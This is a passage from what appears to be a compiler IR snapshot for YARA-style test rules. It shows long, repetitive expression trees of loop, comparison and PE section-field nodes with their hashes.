integer(4) + +RULE test_2 + 13: WITH -- hash: 0x862ac2b588220f59 + 0: CONST integer(10) + 12: FOR_IN -- hash: 0xfb8fa06e0ec768d9 + n: Var { frame_id: 2, ty: integer, index: 1 } + i: Var { frame_id: 2, ty: integer, index: 2 } + max_count: Var { frame_id: 2, ty: integer, index: 3 } + count: Var { frame_id: 2, ty: integer, index: 4 } + item: Var { frame_id: 2, ty: unknown, index: 5 } + 1: CONST integer(1) + 2: CONST integer(5) + 11: AND -- hash: 0xf3506d7cd428c254 + 7: EQ -- hash: 0x8d45f5fbc7dba69a + 5: CONST integer(11) + 6: CONST integer(11) + 10: GT -- hash: 0x7fb3c7b6e648fdb1 + 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } + 9: CONST integer(0) + +RULE test_3 + 19: FOR_IN -- hash: 0x9f80cf2da772b9f9 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(0) + 3: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 1: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 18: AND -- hash: 0x4044f60b2b21d46 + 12: EQ -- hash: 0xd80bb6889bf5d23f + 10: FIELD_ACCESS -- hash: 0xf6f8e9b23f513dd1 + 8: LOOKUP -- hash: 0x7e699c8d78b13901 + 6: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 5: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 7: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 9: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 11: CONST string(".text") + 17: GT -- hash: 0xc0fd295a9fa39fa9 + 15: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 16: CONST integer(0) + +RULE test_4 + 532: FOR_IN -- hash: 0x9955d895482ac2dd + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 531: FOR_IN -- hash: 0x39d3fce9735f69cd + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 530: AND -- hash: 0xa6c67725bbf1ce09 + 8: EQ -- hash: 0x8fb6fe40bf072288 + 6: ADD -- hash: 0xe38fe90ae410b35a + 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 5: CONST integer(0) + 7: CONST integer(10) + 13: EQ -- hash: 0x7be2178493efe6e0 + 11: ADD -- hash: 0x8c4973b1fbd58946 + 9: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 10: CONST integer(1) + 12: CONST integer(10) + 18: EQ -- hash: 0x680d30c864d8ab38 + 16: ADD -- hash: 0x3502fe590f9a5f32 + 14: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 15: CONST integer(2) + 17: CONST integer(10) + 23: EQ -- hash: 0x54384a0c39c16f90 + 21: ADD -- hash: 0xddbc8900235f351d + 19: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 20: CONST integer(3) + 22: CONST integer(10) + 28: EQ -- hash: 0x406363500eaa33e8 + 26: ADD -- hash: 0x867613a737240b09 + 24: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 25: CONST integer(4) + 27: CONST integer(10) + 33: EQ -- hash: 0x2c8e7c93e392f840 + 31: ADD -- hash: 0x2f2f9e4e4ae8e0f5 + 29: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 30: CONST integer(5) + 32: CONST integer(10) + 38: EQ -- hash: 0x18b995d7b47bbc98 + 36: ADD -- hash: 0xd7e928f55eadb6e0 + 34: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 35: CONST integer(6) + 37: CONST integer(10) + 43: EQ -- hash: 0x4e4af1b896480f0 + 41: ADD -- hash: 0x80a2b39c72728ccc + 39: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 40: CONST integer(7) + 42: CONST integer(10) + 48: EQ -- hash: 0xf10fc85f5e4d4547 + 46: ADD -- hash: 0x295c3e43863762b8 + 44: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 45: CONST integer(8) + 47: CONST integer(10) + 53: EQ -- hash: 0xdd3ae1a33336099f + 51: ADD -- hash: 0xd215c8ea99fc38a3 + 49: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 50: CONST integer(9) + 52: CONST integer(10) + 58: EQ -- hash: 0xc965fae7041ecdf7 + 56: ADD -- hash: 0x7acf5391adc10e8f + 54: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 55: CONST integer(10) + 57: CONST integer(10) + 63: EQ -- hash: 0xb591142ad907924f + 61: ADD -- hash: 0x2388de38c185e47b + 59: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 60: CONST integer(11) + 62: CONST integer(10) + 68: EQ -- hash: 0xa1bc2d6eadf056a7 + 66: ADD -- hash: 0xcc4268dfd54aba66 + 64: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 65: CONST integer(12) + 67: CONST integer(10) + 73: EQ -- hash: 0x8de746b282d91aff + 71: ADD -- hash: 0x74fbf386e90f9052 + 69: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 70: CONST integer(13) + 72: CONST integer(10) + 78: EQ -- hash: 0x7a125ff657c1df57 + 76: ADD -- hash: 0x1db57e2dfcd4663e + 74: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 75: CONST integer(14) + 77: CONST integer(10) + 83: EQ -- hash: 0x663d793a28aaa3af + 81: ADD -- hash: 0xc66f08d510993c29 + 79: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 80: CONST integer(15) + 82: CONST integer(10) + 88: EQ -- hash: 0x5268927dfd936807 + 86: ADD -- hash: 0x6f28937c245e1215 + 84: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 85: CONST integer(16) + 87: CONST integer(10) + 93: EQ -- hash: 0x3e93abc1d27c2c5f + 91: ADD -- hash: 0x17e21e233822e801 + 89: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 90: CONST integer(17) + 92: CONST integer(10) + 98: EQ -- hash: 0x2abec505a764f0b7 + 96: ADD -- hash: 0xc09ba8ca4fe7bdec + 94: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 95: CONST integer(18) + 97: CONST integer(10) + 103: EQ -- hash: 0x16e9de49784db50f + 101: ADD -- hash: 0x6955337163ac93d8 + 99: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 100: CONST integer(19) + 102: CONST integer(10) + 108: EQ -- hash: 0x314f78d4d367967 + 106: ADD -- hash: 0x120ebe18777169c4 + 104: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 105: CONST integer(20) + 107: CONST integer(10) + 113: EQ -- hash: 0xef4010d1221f3dbe + 111: ADD -- hash: 0xbac848bf8b363faf + 109: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 110: CONST integer(21) + 112: CONST integer(10) + 118: EQ -- hash: 0xdb6b2a14f7080216 + 116: ADD -- hash: 0x6381d3669efb159b + 114: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 115: CONST integer(22) + 117: CONST integer(10) + 123: EQ -- hash: 0xc7964358cbf0c66e + 121: ADD -- hash: 0xc3b5e0db2bfeb87 + 119: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 120: CONST integer(23) + 122: CONST integer(10) + 128: EQ -- hash: 0xb3c15c9c9cd98ac6 + 126: ADD -- hash: 0xb4f4e8b4c684c172 + 124: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 125: CONST integer(24) + 127: CONST integer(10) + 133: EQ -- hash: 0x9fec75e071c24f1e + 131: ADD -- hash: 0x5dae735bda49975e + 129: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 130: CONST integer(25) + 132: CONST integer(10) + 138: EQ -- hash: 0x8c178f2446ab1376 + 136: ADD -- hash: 0x667fe02ee0e6d4a + 134: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 135: CONST integer(26) + 137: CONST integer(10) + 143: EQ -- hash: 0x7842a8681b93d7ce + 141: ADD -- hash: 0xaf2188aa01d34335 + 139: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 140: CONST integer(27) + 142: CONST integer(10) + 148: EQ -- hash: 0x646dc1abec7c9c26 + 146: ADD -- hash: 0x57db135115981921 + 144: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 145: CONST integer(28) + 147: CONST integer(10) + 153: EQ -- hash: 0x5098daefc165607e + 151: ADD -- hash: 0x949df8295cef0d + 149: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 150: CONST integer(29) + 152: CONST integer(10) + 158: EQ -- hash: 0x3cc3f433964e24d6 + 156: ADD -- hash: 0xa94e289f3d21c4f8 + 154: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 155: CONST integer(30) + 157: CONST integer(10) + 163: EQ -- hash: 0x28ef0d776b36e92e + 161: ADD -- hash: 0x5207b34650e69ae4 + 159: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 160: CONST integer(31) + 162: CONST integer(10) + 168: EQ -- hash: 0x151a26bb3c1fad86 + 166: ADD -- hash: 0xfac13ded64ab70cf + 164: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 165: CONST integer(32) + 167: CONST integer(10) + 173: EQ -- hash: 0x1453fff110871de + 171: ADD -- hash: 0xa37ac894787046bb + 169: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 170: CONST integer(33) + 172: CONST integer(10) + 178: EQ -- hash: 0xed705942e5f13635 + 176: ADD -- hash: 0x4c34533b8c351ca7 + 174: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 175: CONST integer(34) + 177: CONST integer(10) + 183: EQ -- hash: 0xd99b7286bad9fa8d + 181: ADD -- hash: 0xf4eddde2a3f9f292 + 179: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 180: CONST integer(35) + 182: CONST integer(10) + 188: EQ -- hash: 0xc5c68bca8fc2bee5 + 186: ADD -- hash: 0x9da76889b7bec87e + 184: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 185: CONST integer(36) + 187: CONST integer(10) + 193: EQ -- hash: 0xb1f1a50e60ab833d + 191: ADD -- hash: 0x4660f330cb839e6a + 189: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 190: CONST integer(37) + 192: CONST integer(10) + 198: EQ -- hash: 0x9e1cbe5235944795 + 196: ADD -- hash: 0xef1a7dd7df487455 + 194: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 195: CONST integer(38) + 197: CONST integer(10) + 203: EQ -- hash: 0x8a47d7960a7d0bed + 201: ADD -- hash: 0x97d4087ef30d4a41 + 199: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 200: CONST integer(39) + 202: CONST integer(10) + 208: EQ -- hash: 0x7672f0d9df65d045 + 206: ADD -- hash: 0x408d932606d2202d + 204: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 205: CONST integer(40) + 207: CONST integer(10) + 213: EQ -- hash: 0x629e0a1db04e949d + 211: ADD -- hash: 0xe9471dcd1a96f618 + 209: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 210: CONST integer(41) + 212: CONST integer(10) + 218: EQ -- hash: 0x4ec92361853758f5 + 216: ADD -- hash: 0x9200a8742e5bcc04 + 214: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 215: CONST integer(42) + 217: CONST integer(10) + 223: EQ -- hash: 0x3af43ca55a201d4d + 221: ADD -- hash: 0x3aba331b4220a1f0 + 219: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 220: CONST integer(43) + 222: CONST integer(10) + 228: EQ -- hash: 0x271f55e92f08e1a5 + 226: ADD -- hash: 0xe373bdc255e577db + 224: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 225: CONST integer(44) + 227: CONST integer(10) + 233: EQ -- hash: 0x134a6f2d03f1a5fd + 231: ADD -- hash: 0x8c2d486969aa4dc7 + 229: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 230: CONST integer(45) + 232: CONST integer(10) + 238: EQ -- hash: 0xff758870d4da6a54 + 236: ADD -- hash: 0x34e6d3107d6f23b3 + 234: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 235: CONST integer(46) + 237: CONST integer(10) + 243: EQ -- hash: 0xeba0a1b4a9c32eac + 241: ADD -- hash: 0xdda05db79133f99e + 239: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 240: CONST integer(47) + 242: CONST integer(10) + 248: EQ -- hash: 0xd7cbbaf87eabf304 + 246: ADD -- hash: 0x8659e85ea4f8cf8a + 244: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 245: CONST integer(48) + 247: CONST integer(10) + 253: EQ -- hash: 0xc3f6d43c5394b75c + 251: ADD -- hash: 0x2f137305b8bda576 + 249: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 250: CONST integer(49) + 252: CONST integer(10) + 258: EQ -- hash: 0xb021ed80247d7bb4 + 256: ADD -- hash: 0xd7ccfdaccc827b61 + 254: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 255: CONST integer(50) + 257: CONST integer(10) + 263: EQ -- hash: 0x9c4d06c3f966400c + 261: ADD -- hash: 0x80868853e047514d + 259: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 260: CONST integer(51) + 262: CONST integer(10) + 268: EQ -- hash: 0x88782007ce4f0464 + 266: ADD -- hash: 0x294012faf40c2739 + 264: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 265: CONST integer(52) + 267: CONST integer(10) + 273: EQ -- hash: 0x74a3394ba337c8bc + 271: ADD -- hash: 0xd1f99da20bd0fd24 + 269: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 270: CONST integer(53) + 272: CONST integer(10) + 278: EQ -- hash: 0x60ce528f74208d14 + 276: ADD -- hash: 0x7ab328491f95d310 + 274: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 275: CONST integer(54) + 277: CONST integer(10) + 283: EQ -- hash: 0x4cf96bd34909516c + 281: ADD -- hash: 0x236cb2f0335aa8fc + 279: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 280: CONST integer(55) + 282: CONST integer(10) + 288: EQ -- hash: 0x392485171df215c4 + 286: ADD -- hash: 0xcc263d97471f7ee7 + 284: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 285: CONST integer(56) + 287: CONST integer(10) + 293: EQ -- hash: 0x254f9e5af2dada1c + 291: ADD -- hash: 0x74dfc83e5ae454d3 + 289: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 290: CONST integer(57) + 292: CONST integer(10) + 298: EQ -- hash: 0x117ab79ec7c39e74 + 296: ADD -- hash: 0x1d9952e56ea92abf + 294: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 295: CONST integer(58) + 297: CONST integer(10) + 303: EQ -- hash: 0xfda5d0e298ac62cb + 301: ADD -- hash: 0xc652dd8c826e00aa + 299: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 300: CONST integer(59) + 302: CONST integer(10) + 308: EQ -- hash: 0xe9d0ea266d952723 + 306: ADD -- hash: 0x6f0c68339632d696 + 304: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 305: CONST integer(60) + 307: CONST integer(10) + 313: EQ -- hash: 0xd5fc036a427deb7b + 311: ADD -- hash: 0x17c5f2daa9f7ac82 + 309: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 310: CONST integer(61) + 312: CONST integer(10) + 318: EQ -- hash: 0xc2271cae1766afd3 + 316: ADD -- hash: 0xc07f7d81bdbc826d + 314: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 315: CONST integer(62) + 317: CONST integer(10) + 323: EQ -- hash: 0xae5235f1e84f742b + 321: ADD -- hash: 0x69390828d1815859 + 319: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 320: CONST integer(63) + 322: CONST integer(10) + 328: EQ -- hash: 0x9a7d4f35bd383883 + 326: ADD -- hash: 0x11f292cfe5462e45 + 324: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 325: CONST integer(64) + 327: CONST integer(10) + 333: EQ -- hash: 0x86a868799220fcdb + 331: ADD -- hash: 0xbaac1d76f90b0430 + 329: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 330: CONST integer(65) + 332: CONST integer(10) + 338: EQ -- hash: 0x72d381bd6709c133 + 336: ADD -- hash: 0x6365a81e0ccfda1c + 334: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 335: CONST integer(66) + 337: CONST integer(10) + 343: EQ -- hash: 0x5efe9b013bf2858b + 341: ADD -- hash: 0xc1f32c52094b008 + 339: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 340: CONST integer(67) + 342: CONST integer(10) + 348: EQ -- hash: 0x4b29b4450cdb49e3 + 346: ADD -- hash: 0xb4d8bd6c345985f3 + 344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 345: CONST integer(68) + 347: CONST integer(10) + 353: EQ -- hash: 0x3754cd88e1c40e3b + 351: ADD -- hash: 0x5d924813481e5bdf + 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 350: CONST integer(69) + 352: CONST integer(10) + 358: EQ -- hash: 0x237fe6ccb6acd293 + 356: ADD -- hash: 0x64bd2ba5fe331cb + 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 355: CONST integer(70) + 357: CONST integer(10) + 363: EQ -- hash: 0xfab00108b9596eb + 361: ADD -- hash: 0xaf055d6173a807b6 + 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 360: CONST integer(71) + 362: CONST integer(10) + 368: EQ -- hash: 0xfbd619545c7e5b42 + 366: ADD -- hash: 0x57bee808876cdda2 + 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 365: CONST integer(72) + 367: CONST integer(10) + 373: EQ -- hash: 0xe801329831671f9a + 371: ADD -- hash: 0x7872af9b31b38e + 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 370: CONST integer(73) + 372: CONST integer(10) + 378: EQ -- hash: 0xd42c4bdc064fe3f2 + 376: ADD -- hash: 0xa931fd56aef68979 + 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 375: CONST integer(74) + 377: CONST integer(10) + 383: EQ -- hash: 0xc057651fdb38a84a + 381: ADD -- hash: 0x51eb87fdc2bb5f65 + 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 380: CONST integer(75) + 382: CONST integer(10) + 388: EQ -- hash: 0xac827e63ac216ca2 + 386: ADD -- hash: 0xfaa512a4d6803550 + 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 385: CONST integer(76) + 387: CONST integer(10) + 393: EQ -- hash: 0x98ad97a7810a30fa + 391: ADD -- hash: 0xa35e9d4bea450b3c + 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 390: CONST integer(77) + 392: CONST integer(10) + 398: EQ -- hash: 0x84d8b0eb55f2f552 + 396: ADD -- hash: 0x4c1827f2fe09e128 + 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 395: CONST integer(78) + 397: CONST integer(10) + 403: EQ -- hash: 0x7103ca2f2adbb9aa + 401: ADD -- hash: 0xf4d1b29a11ceb713 + 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 400: CONST integer(79) + 402: CONST integer(10) + 408: EQ -- hash: 0x5d2ee372ffc47e02 + 406: ADD -- hash: 0x9d8b3d4125938cff + 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 405: CONST integer(80) + 407: CONST integer(10) + 413: EQ -- hash: 0x4959fcb6d0ad425a + 411: ADD -- hash: 0x4644c7e8395862eb + 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 410: CONST integer(81) + 412: CONST integer(10) + 418: EQ -- hash: 0x358515faa59606b2 + 416: ADD -- hash: 0xeefe528f4d1d38d6 + 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 415: CONST integer(82) + 417: CONST integer(10) + 423: EQ -- hash: 0x21b02f3e7a7ecb0a + 421: ADD -- hash: 0x97b7dd3660e20ec2 + 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 420: CONST integer(83) + 422: CONST integer(10) + 428: EQ -- hash: 0xddb48824f678f62 + 426: ADD -- hash: 0x407167dd74a6e4ae + 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 425: CONST integer(84) + 427: CONST integer(10) + 433: EQ -- hash: 0xfa0661c6205053b9 + 431: ADD -- hash: 0xe92af284886bba99 + 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 430: CONST integer(85) + 432: CONST integer(10) + 438: EQ -- hash: 0xe6317b09f5391811 + 436: ADD -- hash: 0x91e47d2b9c309085 + 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 435: CONST integer(86) + 437: CONST integer(10) + 443: EQ -- hash: 0xd25c944dca21dc69 + 441: ADD -- hash: 0x3a9e07d2b3f56671 + 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 440: CONST integer(87) + 442: CONST integer(10) + 448: EQ -- hash: 0xbe87ad919f0aa0c1 + 446: ADD -- hash: 0xe3579279c7ba3c5c + 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 445: CONST integer(88) + 447: CONST integer(10) + 453: EQ -- hash: 0xaab2c6d573f36519 + 451: ADD -- hash: 0x8c111d20db7f1248 + 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 450: CONST integer(89) + 452: CONST integer(10) + 458: EQ -- hash: 0x96dde01944dc2971 + 456: ADD -- hash: 0x34caa7c7ef43e834 + 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 455: CONST integer(90) + 457: CONST integer(10) + 463: EQ -- hash: 0x8308f95d19c4edc9 + 461: ADD -- hash: 0xdd84326f0308be1f + 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 460: CONST integer(91) + 462: CONST integer(10) + 468: EQ -- hash: 0x6f3412a0eeadb221 + 466: ADD -- hash: 0x863dbd1616cd940b + 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 465: CONST integer(92) + 467: CONST integer(10) + 473: EQ -- hash: 0x5b5f2be4c3967679 + 471: ADD -- hash: 0x2ef747bd2a9269f7 + 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 470: CONST integer(93) + 472: CONST integer(10) + 478: EQ -- hash: 0x478a4528947f3ad1 + 476: ADD -- hash: 0xd7b0d2643e573fe2 + 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 475: CONST integer(94) + 477: CONST integer(10) + 483: EQ -- hash: 0x33b55e6c6967ff29 + 481: ADD -- hash: 0x806a5d0b521c15ce + 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 480: CONST integer(95) + 482: CONST integer(10) + 488: EQ -- hash: 0x1fe077b03e50c381 + 486: ADD -- hash: 0x2923e7b265e0ebba + 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 485: CONST integer(96) + 487: CONST integer(10) + 493: EQ -- hash: 0xc0b90f4133987d9 + 491: ADD -- hash: 0xd1dd725979a5c1a5 + 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 490: CONST integer(97) + 492: CONST integer(10) + 498: EQ -- hash: 0xf836aa37e4224c30 + 496: ADD -- hash: 0x7a96fd008d6a9791 + 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 495: CONST integer(98) + 497: CONST integer(10) + 503: EQ -- hash: 0xe461c37bb90b1088 + 501: ADD -- hash: 0x235087a7a12f6d7d + 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 500: CONST integer(99) + 502: CONST integer(10) + 508: EQ -- hash: 0xd08cdcbf8df3d4e0 + 506: ADD -- hash: 0xcc0a124eb4f44368 + 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 505: CONST integer(100) + 507: CONST integer(10) + 513: EQ -- hash: 0xbcb7f60362dc9938 + 511: ADD -- hash: 0x74c39cf5c8b91954 + 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 510: CONST integer(101) + 512: CONST integer(10) + 518: EQ -- hash: 0xa8e30f4737c55d90 + 516: ADD -- hash: 0x1d7d279cdc7def40 + 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 515: CONST integer(102) + 517: CONST integer(10) + 523: EQ -- hash: 0x950e288b08ae21e8 + 521: ADD -- hash: 0xc636b243f042c52b + 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 520: CONST 